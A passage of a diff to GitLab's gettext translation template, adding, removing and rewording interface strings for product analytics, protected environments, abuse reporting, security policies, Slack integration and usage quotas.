+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
